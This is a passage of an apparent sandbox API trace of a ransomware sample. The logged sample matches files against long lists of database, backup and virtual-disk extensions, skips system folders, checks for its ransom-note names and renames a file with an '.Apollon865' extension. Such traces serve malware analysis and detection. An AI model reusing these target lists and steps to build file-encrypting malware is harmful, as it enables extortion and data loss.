	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="frm") returned 1
	[0046.996] lstrlenW (lpString="gdb") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="gdb") returned 1
	[0046.996] lstrlenW (lpString="gdb") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="gdb") returned 1
	[0046.996] lstrlenW (lpString="grdb") returned 4
	[0046.996] lstrcmpiW (lpString1="LOG2", lpString2="grdb") returned 1
	[0046.996] lstrlenW (lpString="gwi") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="gwi") returned 1
	[0046.996] lstrlenW (lpString="hdb") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="hdb") returned 1
	[0046.996] lstrlenW (lpString="his") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="his") returned 1
	[0046.996] lstrlenW (lpString="ib") returned 2
	[0046.996] lstrcmpiW (lpString1="G2", lpString2="ib") returned -1
	[0046.996] lstrlenW (lpString="idb") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="idb") returned 1
	[0046.996] lstrlenW (lpString="ihx") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="ihx") returned 1
	[0046.996] lstrlenW (lpString="itdb") returned 4
	[0046.996] lstrcmpiW (lpString1="LOG2", lpString2="itdb") returned 1
	[0046.996] lstrlenW (lpString="itw") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="itw") returned 1
	[0046.996] lstrlenW (lpString="jet") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="jet") returned 1
	[0046.997] lstrlenW (lpString="jtx") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="jtx") returned 1
	[0046.997] lstrlenW (lpString="kdb") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="kdb") returned 1
	[0046.997] lstrlenW (lpString="kexi") returned 4
	[0046.997] lstrcmpiW (lpString1="LOG2", lpString2="kexi") returned 1
	[0046.997] lstrlenW (lpString="kexic") returned 5
	[0046.997] lstrcmpiW (lpString1=".LOG2", lpString2="kexic") returned -1
	[0046.997] lstrlenW (lpString="kexis") returned 5
	[0046.997] lstrcmpiW (lpString1=".LOG2", lpString2="kexis") returned -1
	[0046.997] lstrlenW (lpString="lgc") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="lgc") returned 1
	[0046.997] lstrlenW (lpString="lwx") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="lwx") returned 1
	[0046.997] lstrlenW (lpString="maf") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="maf") returned 1
	[0046.997] lstrlenW (lpString="maq") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="maq") returned 1
	[0046.997] lstrlenW (lpString="mar") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="mar") returned 1
	[0046.997] lstrlenW (lpString="marshal") returned 7
	[0046.997] lstrcmpiW (lpString1="AT.LOG2", lpString2="marshal") returned -1
	[0046.997] lstrlenW (lpString="mas") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="mas") returned 1
	[0046.997] lstrlenW (lpString="mav") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="mav") returned 1
	[0046.997] lstrlenW (lpString="maw") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="maw") returned 1
	[0046.997] lstrlenW (lpString="mdbhtml") returned 7
	[0046.997] lstrcmpiW (lpString1="AT.LOG2", lpString2="mdbhtml") returned -1
	[0046.997] lstrlenW (lpString="mdn") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="mdn") returned 1
	[0046.997] lstrlenW (lpString="mdt") returned 3
	[0046.997] lstrcmpiW (lpString1="OG2", lpString2="mdt") returned 1
	[0046.998] lstrlenW (lpString="mfd") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="mfd") returned 1
	[0046.998] lstrlenW (lpString="mpd") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="mpd") returned 1
	[0046.998] lstrlenW (lpString="mrg") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="mrg") returned 1
	[0046.998] lstrlenW (lpString="mud") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="mud") returned 1
	[0046.998] lstrlenW (lpString="mwb") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="mwb") returned 1
	[0046.998] lstrlenW (lpString="myd") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="myd") returned 1
	[0046.998] lstrlenW (lpString="ndf") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="ndf") returned 1
	[0046.998] lstrlenW (lpString="nnt") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="nnt") returned 1
	[0046.998] lstrlenW (lpString="nrmlib") returned 6
	[0046.998] lstrcmpiW (lpString1="T.LOG2", lpString2="nrmlib") returned 1
	[0046.998] lstrlenW (lpString="ns2") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="ns2") returned 1
	[0046.998] lstrlenW (lpString="ns3") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="ns3") returned 1
	[0046.998] lstrlenW (lpString="ns4") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="ns4") returned 1
	[0046.998] lstrlenW (lpString="nsf") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="nsf") returned 1
	[0046.998] lstrlenW (lpString="nv") returned 2
	[0046.998] lstrcmpiW (lpString1="G2", lpString2="nv") returned -1
	[0046.998] lstrlenW (lpString="nv2") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="nv2") returned 1
	[0046.998] lstrlenW (lpString="nwdb") returned 4
	[0046.998] lstrcmpiW (lpString1="LOG2", lpString2="nwdb") returned -1
	[0046.998] lstrlenW (lpString="nyf") returned 3
	[0046.998] lstrcmpiW (lpString1="OG2", lpString2="nyf") returned 1
	[0046.999] lstrlenW (lpString="odb") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="odb") returned 1
	[0046.999] lstrlenW (lpString="odb") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="odb") returned 1
	[0046.999] lstrlenW (lpString="oqy") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="oqy") returned -1
	[0046.999] lstrlenW (lpString="ora") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="ora") returned -1
	[0046.999] lstrlenW (lpString="orx") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="orx") returned -1
	[0046.999] lstrlenW (lpString="owc") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="owc") returned -1
	[0046.999] lstrlenW (lpString="p96") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="p96") returned -1
	[0046.999] lstrlenW (lpString="p97") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="p97") returned -1
	[0046.999] lstrlenW (lpString="pan") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="pan") returned -1
	[0046.999] lstrlenW (lpString="pdb") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="pdb") returned -1
	[0046.999] lstrlenW (lpString="pdm") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="pdm") returned -1
	[0046.999] lstrlenW (lpString="pnz") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="pnz") returned -1
	[0046.999] lstrlenW (lpString="qry") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="qry") returned -1
	[0046.999] lstrlenW (lpString="qvd") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="qvd") returned -1
	[0046.999] lstrlenW (lpString="rbf") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="rbf") returned -1
	[0046.999] lstrlenW (lpString="rctd") returned 4
	[0046.999] lstrcmpiW (lpString1="LOG2", lpString2="rctd") returned -1
	[0046.999] lstrlenW (lpString="rod") returned 3
	[0046.999] lstrcmpiW (lpString1="OG2", lpString2="rod") returned -1
	[0047.000] lstrlenW (lpString="rodx") returned 4
	[0047.000] lstrcmpiW (lpString1="LOG2", lpString2="rodx") returned -1
	[0047.000] lstrlenW (lpString="rpd") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="rpd") returned -1
	[0047.000] lstrlenW (lpString="rsd") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="rsd") returned -1
	[0047.000] lstrlenW (lpString="sas7bdat") returned 8
	[0047.000] lstrcmpiW (lpString1="DAT.LOG2", lpString2="sas7bdat") returned -1
	[0047.000] lstrlenW (lpString="sbf") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="sbf") returned -1
	[0047.000] lstrlenW (lpString="scx") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="scx") returned -1
	[0047.000] lstrlenW (lpString="sdb") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="sdb") returned -1
	[0047.000] lstrlenW (lpString="sdc") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="sdc") returned -1
	[0047.000] lstrlenW (lpString="sdf") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="sdf") returned -1
	[0047.000] lstrlenW (lpString="sis") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="sis") returned -1
	[0047.000] lstrlenW (lpString="spq") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="spq") returned -1
	[0047.000] lstrlenW (lpString="te") returned 2
	[0047.000] lstrcmpiW (lpString1="G2", lpString2="te") returned -1
	[0047.000] lstrlenW (lpString="teacher") returned 7
	[0047.000] lstrcmpiW (lpString1="AT.LOG2", lpString2="teacher") returned -1
	[0047.000] lstrlenW (lpString="tmd") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="tmd") returned -1
	[0047.000] lstrlenW (lpString="tps") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="tps") returned -1
	[0047.000] lstrlenW (lpString="trc") returned 3
	[0047.000] lstrcmpiW (lpString1="OG2", lpString2="trc") returned -1
	[0047.000] lstrlenW (lpString="trc") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="trc") returned -1
	[0047.001] lstrlenW (lpString="trm") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="trm") returned -1
	[0047.001] lstrlenW (lpString="udb") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="udb") returned -1
	[0047.001] lstrlenW (lpString="udl") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="udl") returned -1
	[0047.001] lstrlenW (lpString="usr") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="usr") returned -1
	[0047.001] lstrlenW (lpString="v12") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="v12") returned -1
	[0047.001] lstrlenW (lpString="vis") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="vis") returned -1
	[0047.001] lstrlenW (lpString="vpd") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="vpd") returned -1
	[0047.001] lstrlenW (lpString="vvv") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="vvv") returned -1
	[0047.001] lstrlenW (lpString="wdb") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="wdb") returned -1
	[0047.001] lstrlenW (lpString="wmdb") returned 4
	[0047.001] lstrcmpiW (lpString1="LOG2", lpString2="wmdb") returned -1
	[0047.001] lstrlenW (lpString="wrk") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="wrk") returned -1
	[0047.001] lstrlenW (lpString="xdb") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="xdb") returned -1
	[0047.001] lstrlenW (lpString="xld") returned 3
	[0047.001] lstrcmpiW (lpString1="OG2", lpString2="xld") returned -1
	[0047.001] lstrlenW (lpString="xmlff") returned 5
	[0047.001] lstrcmpiW (lpString1=".LOG2", lpString2="xmlff") returned -1
	[0047.001] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG2.Apollon865") returned 43
	[0047.001] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat.log2.apollon865"), dwFlags=0x1) returned 1
	[0047.003] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat.log2.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.003] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0047.003] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0047.003] CloseHandle (hObject=0x0) returned 0
	[0047.003] CloseHandle (hObject=0x15c) returned 1
	[0047.003] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="Apollon865.txt.exe") returned 1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="windows") returned -1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="bootmgr") returned 1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="temp") returned -1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="pagefile.sys") returned -1
	[0047.003] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="boot") returned 1
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ids.txt") returned 1
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ntuser.dat") returned 1
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="perflogs") returned -1
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="MSBuild") returned 1
	[0047.004] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0047.004] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned 32
	[0047.004] lstrcpyW (in: lpString1=0x119e62a, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf"
	[0047.004] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0047.004] lstrlenW (lpString="Apollon865") returned 10
	[0047.004] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="Apollon865") returned 1
	[0047.004] lstrlenW (lpString=".dll") returned 4
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1
	[0047.004] lstrlenW (lpString=".lnk") returned 4
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1
	[0047.004] lstrlenW (lpString=".ini") returned 4
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1
	[0047.004] lstrlenW (lpString=".sys") returned 4
	[0047.004] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1
	[0047.004] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0047.004] lstrlenW (lpString="bak") returned 3
	[0047.004] lstrcmpiW (lpString1="blf", lpString2="bak") returned 1
	[0047.004] lstrlenW (lpString="ba_") returned 3
	[0047.004] lstrcmpiW (lpString1="blf", lpString2="ba_") returned 1
	[0047.004] lstrlenW (lpString="dbb") returned 3
	[0047.004] lstrcmpiW (lpString1="blf", lpString2="dbb") returned -1
	[0047.004] lstrlenW (lpString="vmdk") returned 4
	[0047.004] lstrcmpiW (lpString1=".blf", lpString2="vmdk") returned -1
	[0047.004] lstrlenW (lpString="rar") returned 3
	[0047.004] lstrcmpiW (lpString1="blf", lpString2="rar") returned -1
	[0047.004] lstrlenW (lpString="zip") returned 3
	[0047.004] lstrcmpiW (lpString1="blf", lpString2="zip") returned -1
	[0047.004] lstrlenW (lpString="tgz") returned 3
	[0047.004] lstrcmpiW (lpString1="blf", lpString2="tgz") returned -1
	[0047.004] lstrlenW (lpString="vbox") returned 4
	[0047.005] lstrcmpiW (lpString1=".blf", lpString2="vbox") returned -1
	[0047.005] lstrlenW (lpString="vdi") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="vdi") returned -1
	[0047.005] lstrlenW (lpString="vhd") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="vhd") returned -1
	[0047.005] lstrlenW (lpString="vhdx") returned 4
	[0047.005] lstrcmpiW (lpString1=".blf", lpString2="vhdx") returned -1
	[0047.005] lstrlenW (lpString="avhd") returned 4
	[0047.005] lstrcmpiW (lpString1=".blf", lpString2="avhd") returned -1
	[0047.005] lstrlenW (lpString="db") returned 2
	[0047.005] lstrcmpiW (lpString1="lf", lpString2="db") returned 1
	[0047.005] lstrlenW (lpString="db2") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="db2") returned -1
	[0047.005] lstrlenW (lpString="db3") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="db3") returned -1
	[0047.005] lstrlenW (lpString="dbf") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="dbf") returned -1
	[0047.005] lstrlenW (lpString="mdf") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="mdf") returned -1
	[0047.005] lstrlenW (lpString="mdb") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="mdb") returned -1
	[0047.005] lstrlenW (lpString="sql") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="sql") returned -1
	[0047.005] lstrlenW (lpString="sqlite") returned 6
	[0047.005] lstrcmpiW (lpString1="TM.blf", lpString2="sqlite") returned 1
	[0047.005] lstrlenW (lpString="sqlite3") returned 7
	[0047.005] lstrcmpiW (lpString1=".TM.blf", lpString2="sqlite3") returned -1
	[0047.005] lstrlenW (lpString="sqlitedb") returned 8
	[0047.005] lstrcmpiW (lpString1="}.TM.blf", lpString2="sqlitedb") returned -1
	[0047.005] lstrlenW (lpString="xml") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="xml") returned -1
	[0047.005] lstrlenW (lpString="$er") returned 3
	[0047.005] lstrcmpiW (lpString1="blf", lpString2="$er") returned 1
	[0047.005] lstrlenW (lpString="4dd") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="4dd") returned 1
	[0047.006] lstrlenW (lpString="4dl") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="4dl") returned 1
	[0047.006] lstrlenW (lpString="^^^") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="^^^") returned 1
	[0047.006] lstrlenW (lpString="abs") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="abs") returned 1
	[0047.006] lstrlenW (lpString="abx") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="abx") returned 1
	[0047.006] lstrlenW (lpString="accdb") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accdb") returned 1
	[0047.006] lstrlenW (lpString="accdc") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accdc") returned 1
	[0047.006] lstrlenW (lpString="accde") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accde") returned 1
	[0047.006] lstrlenW (lpString="accdr") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accdr") returned 1
	[0047.006] lstrlenW (lpString="accdt") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accdt") returned 1
	[0047.006] lstrlenW (lpString="accdw") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accdw") returned 1
	[0047.006] lstrlenW (lpString="accft") returned 5
	[0047.006] lstrcmpiW (lpString1="M.blf", lpString2="accft") returned 1
	[0047.006] lstrlenW (lpString="adb") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="adb") returned 1
	[0047.006] lstrlenW (lpString="adb") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="adb") returned 1
	[0047.006] lstrlenW (lpString="ade") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="ade") returned 1
	[0047.006] lstrlenW (lpString="adf") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="adf") returned 1
	[0047.006] lstrlenW (lpString="adn") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="adn") returned 1
	[0047.006] lstrlenW (lpString="adp") returned 3
	[0047.006] lstrcmpiW (lpString1="blf", lpString2="adp") returned 1
	[0047.007] lstrlenW (lpString="alf") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="alf") returned 1
	[0047.007] lstrlenW (lpString="ask") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="ask") returned 1
	[0047.007] lstrlenW (lpString="btr") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="btr") returned -1
	[0047.007] lstrlenW (lpString="cat") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="cat") returned -1
	[0047.007] lstrlenW (lpString="cdb") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="cdb") returned -1
	[0047.007] lstrlenW (lpString="ckp") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="ckp") returned -1
	[0047.007] lstrlenW (lpString="cma") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="cma") returned -1
	[0047.007] lstrlenW (lpString="cpd") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="cpd") returned -1
	[0047.007] lstrlenW (lpString="dacpac") returned 6
	[0047.007] lstrcmpiW (lpString1="TM.blf", lpString2="dacpac") returned 1
	[0047.007] lstrlenW (lpString="dad") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="dad") returned -1
	[0047.007] lstrlenW (lpString="dadiagrams") returned 10
	[0047.007] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="dadiagrams") returned 1
	[0047.007] lstrlenW (lpString="daschema") returned 8
	[0047.007] lstrcmpiW (lpString1="}.TM.blf", lpString2="daschema") returned -1
	[0047.007] lstrlenW (lpString="db-journal") returned 10
	[0047.007] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="db-journal") returned 1
	[0047.007] lstrlenW (lpString="db-shm") returned 6
	[0047.007] lstrcmpiW (lpString1="TM.blf", lpString2="db-shm") returned 1
	[0047.007] lstrlenW (lpString="db-wal") returned 6
	[0047.007] lstrcmpiW (lpString1="TM.blf", lpString2="db-wal") returned 1
	[0047.007] lstrlenW (lpString="dbc") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="dbc") returned -1
	[0047.007] lstrlenW (lpString="dbs") returned 3
	[0047.007] lstrcmpiW (lpString1="blf", lpString2="dbs") returned -1
	[0047.007] lstrlenW (lpString="dbt") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dbt") returned -1
	[0047.008] lstrlenW (lpString="dbv") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dbv") returned -1
	[0047.008] lstrlenW (lpString="dbx") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dbx") returned -1
	[0047.008] lstrlenW (lpString="dcb") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dcb") returned -1
	[0047.008] lstrlenW (lpString="dct") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dct") returned -1
	[0047.008] lstrlenW (lpString="dcx") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dcx") returned -1
	[0047.008] lstrlenW (lpString="ddl") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="ddl") returned -1
	[0047.008] lstrlenW (lpString="dlis") returned 4
	[0047.008] lstrcmpiW (lpString1=".blf", lpString2="dlis") returned -1
	[0047.008] lstrlenW (lpString="dp1") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dp1") returned -1
	[0047.008] lstrlenW (lpString="dqy") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dqy") returned -1
	[0047.008] lstrlenW (lpString="dsk") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dsk") returned -1
	[0047.008] lstrlenW (lpString="dsn") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dsn") returned -1
	[0047.008] lstrlenW (lpString="dtsx") returned 4
	[0047.008] lstrcmpiW (lpString1=".blf", lpString2="dtsx") returned -1
	[0047.008] lstrlenW (lpString="dxl") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="dxl") returned -1
	[0047.008] lstrlenW (lpString="eco") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="eco") returned -1
	[0047.008] lstrlenW (lpString="ecx") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="ecx") returned -1
	[0047.008] lstrlenW (lpString="edb") returned 3
	[0047.008] lstrcmpiW (lpString1="blf", lpString2="edb") returned -1
	[0047.008] lstrlenW (lpString="epim") returned 4
	[0047.008] lstrcmpiW (lpString1=".blf", lpString2="epim") returned -1
	[0047.009] lstrlenW (lpString="fcd") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fcd") returned -1
	[0047.009] lstrlenW (lpString="fdb") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fdb") returned -1
	[0047.009] lstrlenW (lpString="fic") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fic") returned -1
	[0047.009] lstrlenW (lpString="flexolibrary") returned 12
	[0047.009] lstrcmpiW (lpString1="e3ec}.TM.blf", lpString2="flexolibrary") returned -1
	[0047.009] lstrlenW (lpString="fm5") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fm5") returned -1
	[0047.009] lstrlenW (lpString="fmp") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fmp") returned -1
	[0047.009] lstrlenW (lpString="fmp12") returned 5
	[0047.009] lstrcmpiW (lpString1="M.blf", lpString2="fmp12") returned 1
	[0047.009] lstrlenW (lpString="fmpsl") returned 5
	[0047.009] lstrcmpiW (lpString1="M.blf", lpString2="fmpsl") returned 1
	[0047.009] lstrlenW (lpString="fol") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fol") returned -1
	[0047.009] lstrlenW (lpString="fp3") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fp3") returned -1
	[0047.009] lstrlenW (lpString="fp4") returned 3
	[0047.009] lstrcmpiW (lpString1="blf", lpString2="fp4") returned -1
	[0047.009] lstrlenW (lpString="fp5") returned 3
